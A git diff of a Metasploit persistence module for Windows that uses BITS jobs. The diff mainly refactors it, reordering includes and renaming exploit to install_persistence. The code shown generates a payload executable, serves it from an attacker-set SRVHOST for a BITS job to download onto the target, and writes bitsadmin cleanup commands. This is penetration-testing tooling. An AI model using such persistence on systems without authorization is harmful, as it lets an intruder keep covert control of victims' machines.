diff --git a/modules/exploits/windows/persistence/bits.rb b/modules/exploits/windows/persistence/bits.rb index afda22dbf56f8..1093d94b1067b 100644 --- a/modules/exploits/windows/persistence/bits.rb +++ b/modules/exploits/windows/persistence/bits.rb @@ -8,8 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::File - include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck @@ -48,7 +48,7 @@ def initialize(info = {}) 'h00die', ], 'Platform' => [ 'win' ], - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Automatic', {} ] @@ -188,10 +188,8 @@ def check Msf::Exploit::CheckCode::Vulnerable('Likely exploitable') end - # def install_persistence - def exploit + def install_persistence @pload = generate_payload_exe - install_persistence endpoint = Rex::Text.rand_text_alphanumeric(8..12) if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') @@ -241,6 +239,5 @@ def exploit print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.") @clean_up_rc << "bitsadmin /cancel \"#{id}\"\n" @clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute - @persistence_service.wait end end